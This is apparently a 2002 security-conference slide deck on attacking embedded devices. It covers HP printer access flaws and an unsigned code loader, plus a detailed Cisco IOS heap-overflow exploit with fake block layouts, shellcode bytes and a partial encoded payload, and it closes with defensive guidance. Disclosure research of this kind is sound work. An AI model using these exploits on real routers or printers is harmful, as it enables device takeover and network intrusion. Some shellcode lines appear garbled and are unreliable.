Attacking Networked Embedded Systems

FX & kim0  Phenoelit

Dude, what's that? Zet

BlackHat Briefings, Las Vegas 2002
Today’s Session

- Design failures in embedded systems
  - Examples of design failures
  - Exploiting a design failure
- Software vulnerabilities in embedded systems
  - Examples software vulnerabilities
  - Exploiting a common embedded system
Design failures

- Undocumented functionality
  - Developer backdoors
  - Auto-something features
  - Legacy functions
- Ignored standards
- Uncontrolled increase of complexity
  - New subsystems
  - Additional access methods
  - Inconsistent access restrictions
Design failures

Case 1: Lucent Brick

- Layer 2 Firewall running Inferno OS
- ARP cache design failures
  - ARP cache does not time out
  - ARP reply poisoning of firewall
  - ARP forwarded regardless of firewall rules

![Diagram showing ARP reply with LSMS IP, LSMS Management Server, and DMZ]
Design failures

Case 2: Ascend Router

- Undocumented discovery protocol
- Special packet format to UDP discard port
- Leaks information remotely
  - IP address/Netmask
  - MAC address
  - Serial number
  - Device type
  - Features
- Can set IP address using SNMP write community
Exploiting a design failure: HP Printers

- Various access methods:
  - Telnet, HTTP, FTP, SNMP, PJL

- Various access restrictions
  - Admin password on HTTP and Telnet
  - IP access restriction on FTP, PJL, Telnet
  - PJL security password

- Inconsistent access restriction interworkings
  - SNMP read reveals admin password in hex at .iso.3.6.1.4.1.11.2.3.9.4.2.1.3.9.1.1.0
  - HTTP interface can be used to disable other restrictions (username: laserjet)
HP Printers: PJL

- PJL (Port 9100) allows access to printer configuration
  - Number of copies, size, etc.
  - Locking panel
  - Input and output trays
  - Eco mode and Power save
  - I/O Buffer
- Security relies on PJL password
  - key space of 65535.
  - max. 6 hours for remote brute force
HP Printers: PJL

- PJL (Port 9100) allows access to printer file systems on DRAM and FLASH
  - Spool directory contains jobs
  - PCL macros on printer
- More file system content (later models)
  - Firmware
  - Web server content
  - Subsystem configuration
- Printer can be used as PJL-based file server
Phenoelit vs. PJL: PFT

- Tool for direct PJL communication
  - Reading, modifying and writing environment variables
  - Full filesystem access
  - Changing display messages
  - PJL „security“ removal
- Available for Linux and Windows including libPJL for both platforms
- Windows GUI version „Hijetter“ by FtR
- ... and of course it’s open source
HP Printers: ChaiVM [1]

- ChaiVM is a Java Virtual Machine for embedded systems
- HP Printers 9000, 4100 and 4550 are officially supported.
- HP 8150 also runs it.
- ChaiVM on printers comes completely with web server, static files and objects.
- Everything lives on the printer’s file system.

„In 2001 alone, millions of information appliances will ship with the capability to deliver rich, powerful and dynamic services via the World Wide Web. These appliances are powered by HP Chai embedded software.“
**HP Printers: ChaiVM** [2]

- Chai standard loader service
  - http://device_ip/hp/device/this.loader
  - Loader is supposed to validate JAR signature from HP to ensure security
- HP released new EZloader
  - HP signed JAR
  - No signatures required for upload
- Adding services via printer file system access to 0:\default\csconfig
- HP Java classes, documentation and tutorials available
HP Printers: ChaiVM [3]

- Getting code on the printer

  - Upload EZloader
  - Upload your JAR
  - Upload class files and new csconfig

Printer

- http://1.2.3.4/hp/device/this.loader
- http://1.2.3.4/hp/device/hp.ez
- Flash file system 0:default/csconfig
HP Printers: ChaiVM [4]

- ChaiVM is quite instable
  - Too many threads kill printer
  - Connect() to unreachable hosts or closed port kills VM
  - Not always throws Exceptions
  - Huge differences between simulation environment and real-world printers
  - Unavailability of all instances of a service kills VM

- To reset printer use SNMP set:
  .iso.3.6.1.2.1.43.5.1.1.3.1 = 4
HP Printers:
Things you can do...

- Phenoelit ChaiPortScan
  - Web based port scanner daemon for HP Printers with fixed firmware

- Phenoelit ChaiCrack
  - Web based crypt() cracking tool for HP Printers

- Backdoor servers
  - Binding and listening is allowed
  - Chai services have access to authentication

- Anything is possible
  (but who wants to code in Java anyway?)
HP Printers: ChaiVM [5]

- ChaiServices are fully trusted between each other
- ChaiAPNP service supports Service Location Protocol (SLP)
  - find other devices and services
- Notifier service can notify you by HTTP or Email of "interesting events"
- ChaiOpenView enables ChaiVM configuration via SNMP
- ChaiMail service is "designed to work across firewalls".
  - Issue commands to your Chai service via Email!
Software Vulnerabilities

- Classic mistakes are also made on embedded systems
  - Input validation
  - Format strings
  - Buffer overflows
  - Cross Site Scripting
- Most embedded HTTP daemons vulnerable
- Limited resources lead to removal of sanity checks
Buffer overflows

- Xedia Router (now Lucent Access Point)
  - long URL in HTTP GET request crashes router
- Brother Network Printer (NC-3100h)
  - Password variable in HTTP GET request with 136 chars crashes printer
- HP ProCurve Switch
  - SNMP set with 85 chars in .iso.3.6.1.4.1.11.2.36.1.1.2.1.0 crashes switch
- SEH IC-9 Pocket Print Server
  - Password variable in HTTP GET request with 300 chars crashes device
Common misconceptions

- Embedded systems are harder to exploit than multipurpose OS’s
- Since there is no shell, you can not create useful shell code
- Unknown addressing and elements make it nearly impossible to write exploits
- The worst thing that can happen is a device crash or reboot
The Goal:
Exploiting an overflow condition in Cisco Systems IOS to take over the Router.

Things to keep in mind:
- The process you crash is tightly integrated into the OS, so you probably crash the OS as well
- Cisco uses a variety of different platforms, so try to find a generic way of doing it
- IOS is closed source
IOS Exploit: Step 1

- According to Cisco*, memory corruption is the most common bug in IOS.
- Assumption:
  We are dealing with heap overflows
- Vulnerability for research:
  Buffer overflow in IOS (11.1.x – 11.3.x) TFTP server for long file names

```
%SYS-3-OVERRUN: Block overrun at 20F1680 (red zone 41414141)
%SYS-6-BLKINFO: Corrupted redzone blk 20F1680, words 2446, alloc 80F10A6, InUse, dealloc 0, rfcnt 1
```

**IOS Exploit: Step 2**

**Taking it apart**

- Understanding memory layout without reverse engineering IOS
  - Correlating debug output and mem dumps
  - Troubleshooting pages at cisco.com

<table>
<thead>
<tr>
<th>Memory Block</th>
<th>Value 1</th>
<th>Value 2</th>
<th>Value 3</th>
<th>Value 4</th>
<th>Value 5</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x20F1680</td>
<td>0xAB1234CD</td>
<td>0x2</td>
<td>0x2059C9C</td>
<td>0x81A3022</td>
<td></td>
</tr>
<tr>
<td>0x20F1690</td>
<td>0x80F10A6</td>
<td>0x20F29C4</td>

<tr>
<td>0x20F16A0</td>
<td>0x1</td>
<td>0x80F1A52</td>
<td>0x0</td>
<td>0x0</td>
<td></td>
</tr>
</tbody>
</table>
IOS Exploit: Step 3
Memory Maps

- So which memory areas are used for what?
  Asking Cisco at:
- Validate these using IOS commands on the systems

<table>
<thead>
<tr>
<th>Model</th>
<th>Data</th>
<th>Code</th>
<th>NVRAM</th>
</tr>
</thead>
<tbody>
<tr>
<td>1005</td>
<td>0x02000000</td>
<td>0x02000000</td>
<td>0x0E000000</td>
</tr>
<tr>
<td>1600</td>
<td>0x02000000</td>
<td>0x08000000</td>
<td>0x0E000000</td>
</tr>
<tr>
<td>2500</td>
<td>0x00000000</td>
<td>0x03000000</td>
<td>0x02000000</td>
</tr>
<tr>
<td>2600</td>
<td>0x80000000</td>
<td>0x80000000</td>
<td>0x67000000</td>
</tr>
</tbody>
</table>
### IOS Exploit: Step 4

#### Putting it together

<table>
<thead>
<tr>
<th>Field</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>MAGIC</td>
<td>0xAB1234CD</td>
</tr>
<tr>
<td>PID</td>
<td>unknown</td>
</tr>
<tr>
<td>RAM Address</td>
<td>unknown</td>
</tr>
<tr>
<td>Code Address</td>
<td>String ptr for 'show mem alloc'</td>
</tr>
<tr>
<td>NEXT ptr</td>
<td>unknown</td>
</tr>
<tr>
<td>PREV ptr</td>
<td>rfcnt</td>
</tr>
<tr>
<td>Size + Usage</td>
<td>mostly 0x01</td>
</tr>
<tr>
<td></td>
<td>(may be „reference count“ ?)</td>
</tr>
<tr>
<td>REDZONE</td>
<td>0xFD0110DF</td>
</tr>
</tbody>
</table>
IOS Exploit: Step 5
Theory of the overflow

- Filling the „host block“
- Overwriting the following block header – hereby creating a „fake block“
- Let IOS memory management use the fake block information
- Desired result: Writing to arbitrary memory locations
IOS Exploit: Step 6
A free() on IOS

- Double linked pointer list of memory blocks
- Upon free(), an element of the list is removed
- Pointer exchange operation, much like on Linux or Windows

```c
Host->prev=next2;
(Host->next2)+prevofs=prev2;
delete(Host_block);
```
**IOS Exploit: Step 7**

**The requirements**

<table>
<thead>
<tr>
<th>MAGIC</th>
<th>MAGIC is required</th>
</tr>
</thead>
<tbody>
<tr>
<td>PID</td>
<td>PREV ptr has to be correct</td>
</tr>
<tr>
<td>RAM Address</td>
<td>Size and Usage bit have to be correct</td>
</tr>
<tr>
<td>Code Address</td>
<td>The PID, these 3 pointers (wasting 12 bytes) and the NEXT ptr dont have to be correct</td>
</tr>
<tr>
<td>Code Address</td>
<td>„Check heaps“ process validates MAGIC and REDZONE</td>
</tr>
<tr>
<td>NEXT ptr</td>
<td>Therefore: Performing an overflow up to the NEXT ptr ptr is possible.</td>
</tr>
<tr>
<td>PREV ptr</td>
<td>mostly 0x01</td>
</tr>
<tr>
<td>Size + Usage</td>
<td></td>
</tr>
<tr>
<td>mostly 0x01</td>
<td></td>
</tr>
</tbody>
</table>

**REDZONE**
### IOS Exploit: Step 8
#### Taking the first: 2500

- Cisco 2500 allows anyone to write the NVRAM memory area
- Since NEXT ptr is not checked, we can put 0x02000000 (NVRAM) in there
- The 0x00 bytes don’t get written because we are doing a string overflow here
- The pointer exchange leads to a write to NVRAM and invalidates it (checksum error)

- NVRAM gets invalidated by exploit
- Device reboots after discovering issue in memory management ("Check heaps" process)
- Boot without valid config leads to BOOTP request and TFTP config retrieval
- Result: **Attacker provides config**

```
(1) Exploit
(2) Reboot
(3) Bootp / TFTP
(4) New config
```
Disadvantages
- Attack only works because NVRAM is always writeable (only on 2500)
- Attacker has to be in the same subnet to provide config

Advantages
- No specific knowledge required
- No limitations for new config
IOS Exploit: Step 9

Getting around PREV

- PREV ptr is checked while the previous block is inspected before the free()
- Test seems to be:
  
  ```
  if (next_block->prev!=this_block+20)
  abort();
  ```
- Perform uncontrolled overflow to cause device reboot
  - Proves the device is vulnerable
  - Puts memory in a predictable state
  - Crash information can be obtained from network or syslog host if logged (contains PREV ptr address)
iOS Exploit: Step 10
The Size field

- Size field in block header is checked
- Bit 31 marks „block in use“
- Usual values such as 0x800000AB are not possible because of 0x00 bytes
- Minimum size we could fake is 0x80010101 = 65793, which is way too much
- Solution: 0x7FFFFFFFF
Loops in calculation due to the use of 32bit fields
Free memory blocks carry additional management information.

Information is probably used to build linked list of free memory blocks.

Functionality of FREE NEXT and FREE PREV comparable to NEXT and PREV.
IOS Exploit: Step 12
Arbitrary Memory write

- FREE NEXT and FREE PREV are not checked
- Pointer exchange takes place
- Using 0x7FFFFFFF in the size field, we can mark the fake block "free"
- Both pointers have to point to writeable memory

```
*free_prev=*free_next;
*(free_next+20)=*free_prev;
```
IOS Exploit: Step 13
Places for pointers

- `show mem proc alloc` shows a „Process Array“
- Array contains addresses of process information records indexed by PID
- Process information record’s second field is current stack pointer
- All of these are static addresses per IOS image
On the 1000 and 1600 series, the stack of any process is accessible for write operations by our free pointer game.

The first element on the stack of an inactive process is usually the saved SP (C calling convention).

The second element is the saved return address.

```
02057EC0:                   02057EE4  080D63D4
02057ED0:  02042E0C  02057FF6  00000000  00000000
02057EE0:  00000000  02057EF0  080DE486  00001388
```
IOS Exploit: Step 14 [2]
Taking the Processor

- Writing a new stack pointer (pointing into a controlled buffer) provides multiple possibilities for PC redirection
- Writing a new return address is smarter – but works only once

```
02057EC0:                   02057EE4 080D63D4
02057ED0: 02042E0C 02057FF6 00000000 00000000
02057EE0: 00000000 02057EF0 080DE486 00001388
```
### IOS Exploit: Step 15

**The Buffer**

- A free() on IOS actually clears the memory (overwrites it with 0x0D)
- Buffer after fake block is considered already clean and can be used for exploitation
- Position of the buffer relative to PREV ptr is static per platform/IOS

<table>
<thead>
<tr>
<th>Host block</th>
<th>Header</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>0x0D0D0D0D</td>
</tr>
<tr>
<td></td>
<td>0x0D0D0D0D</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Fake Header</th>
<th>Exploit Buffer</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0D0D0D0D</td>
<td>0x0D0D0D0D</td>
</tr>
</tbody>
</table>
IOS Exploit: Step 16
The shell code – V1

- Example based on Cisco 1600
- Motorola 68360 QUICC CPU
- Memory protection is set in the registers at 0x0FF01000
- Disabling memory protection for NVRAM address by modifying the second bit of the appropriate QUICC BaseRegister (See MC68360UM, Page 6-70)
- Write invalid value to NVRAM
- Device reboots and asks for config
IOS Exploit: Step 16 [2]
The shell code – V1

- Simple code to invalidate NVRAM
  (Sorry, we are not @home on 68k)
- Dummy move operation to d1, data
  part of OP code is overwritten on free()
- ADDA trick used to circumvent 0x00
  bytes in code

```
x22\x7C\x0F\xF0\x10\xC2  move.l #0x0FF010C2,%a1
xE2\xD1  lsr  (%a1)
x22\x7C\x0D\xFF\xFF\xFF  move.l #0x0DFFFFFF,%a1
xD2\xFC\x02\xD1  adda.w #0x02D1,%a1
x22\x3C\x01\x01\x01\x01\x01  move.l #0x01010101,%d1
xCB\xCA\xFE\xBA\xBEB  move.l #0xCABFACE,(%a1)
```
IOS Exploit: Step 17
The Cisco 1600 Exploit

- Overflow once to get predictable memory layout
- Overflow buffer with
  - Fake block and correct PREV ptr
  - Size of 0x7FFFFFFF
  - FREE NEXT points to code buffer
  - FREE PREV points to return address of process "Load Meter" in stack
- Code to unprotect memory and write into NVRAM
IOS Exploit: Step 18
More Information on IOS

- IOS seems to use cooperative multitasking (kind of)
- Interrupt driven execution of critical tasks
- NVRAM contains config plus header
  - 16bit checksum
  - Size of config in bytes
- NVRAM contains stack trace and other info from last crash
- Config is seen as on big C string, terminated by 'end' and 0x00 bytes
IOS Exploit: Step 19 [1] The remote shell code

- Append new minimum config to the overflow
- Disable interrupts to prevent interferences
- Unprotect NVRAM
- Calculate values for NVRAM header
- Write new header and config into NVRAM
- Perform clean hard reset operation on 68360 to prevent stack trace on NVRAM
IOS Exploit: Step 19 [2]

The remote shell code

- 0x00 byte limitation inconvenient
- Buffer size sufficient for more code and minimum config
- The classic solution:
  - Bootstrap code part contains no 0x00 bytes
  - Main shell code is XOR encoded 0xD5 (0x55 leads to colon character in config)
  - Bootstrap code decodes main code and continues execution there
IOS Exploit: Step 19 [3]  

The remote shell code

- Problem with chip level delays
  - NVRAM is on XICOR X68HC64
  - Chip requires address lines being unchanged during a write operation
  - Recommended procedure is polling the chips status register – but where is this?

- Solution:
  Write operation performed with delay loops afterwards
## IOS Exploit: Step 19 [4]

**The remote shell code**

- Code size including fake block: 282 bytes
- New config can be specified in command line
- Adjustments available from command line
- Full source code available

<table>
<thead>
<tr>
<th>Overflow AAA...</th>
</tr>
</thead>
<tbody>
<tr>
<td>...AAAA</td>
</tr>
<tr>
<td>Fake block</td>
</tr>
<tr>
<td>Bootstrap code</td>
</tr>
<tr>
<td>XORed code</td>
</tr>
<tr>
<td>New Config</td>
</tr>
</tbody>
</table>

[http://www.phenoelit.de/ciscoxp/](http://www.phenoelit.de/ciscoxp/)
IOS Exploit: Step 19 [5]

The remote shell code

```
"\xFD\x01\x10\xDF" // RED
"\xAB\x12\x34\xCD" // MAGIC
"\xFF\xFF\xFF\xFF" // PID
"\x80\x81\x82\x83" // ?
"\x08\x0C\xBB\x76" // NAME
"\x80\x8a\x8b\x8c" // ?
"\x02\x0F\x2A\x04" // NEXT
"\x02\x0F\x16\x94" // PREV
"\x7F\xFF\xFF\xFF" // SIZE
"\x01\x01\x01\x01" // ref

"\x94\xfc\x01\x01"
"\x32\x3c\x55\x55"
loop:
"\xb3\x5a"
"\x0c\x92\xca\xfe\xf0\x0d"
brac:
"\xcc\x01\xff\xf6"
xorc:
```

FX and KI10

Phenoelit
IOS Exploit

Work to do

- Other exploits
  - Finding differences between the exploits
  - Smaller buffer size exploitation (external buffer)
- PREV ptr
  - Mapping commonly used addresses
  - Stabilizing the address
- NVRAM and Config
  - Writing to FLASH instead of NVRAM
  - Removing stack traces from NVRAM
  - Anti-Forensics shell codes
**IOS Exploit Review**

- **Cisco 1000**
  - Local network and Remote exploit
  - Return address to code written directly in exception handler code

- **Cisco 1600, Cisco 2600**
  - Local network and remote exploit
  - Return address to code written to stack

- **Cisco 2500**
  - Local network via invalid NVRAM
  - Remote: no (because of 0x00 bytes)
IOS Exploit
So what?

- Most IOS heap overflows seem to be exploitable
  - Protocol based exploitation
  - Debug based exploitation
  - Network infrastructure still mostly unprotected

- NVRAM still contains former config after local network exploitation
  - Password decryption
  - Network structure and routing protocol authentication disclosed
An attacker ...
1. Exploits a router
2. Builds a tunnel (IPsec)
3. Hides himself
4. ... and gets into the network
How to protect

- Do not rely on one type of device for protection
- Consider all your networked equipment vulnerable to the fullest extent
- Employ all possible protection mechanisms a device provides
- Do not ignore equipment because it is small, simple, or has not been exploited in the past.
- Plan your device management as you plan root logins to UNIX systems
How to protect HP Specific

- Assign passwords
  - Admin password
  - SNMP *read and write* community
  - PJL protection (gives you time)
- Allow access to port 9100 on printer only from print servers
- Remove this.loader from the printer (edit /default/csconfig and restart)
- Consider putting your printers behind an IP filter device
How to protect Cisco specific

- Have no overflows in IOS
- Keep your IOS up to date
- Do not run unneeded services (TFTP)
- Tell your IDS about it. Signature: \xFD\x01\x10\xDF\xAB\x12\x34\xCD
- `debug sanity` might stop less experienced attackers
- The hard way: `config-register 0x00`
- Perform logging on a separate segment
- Protect your syslog host
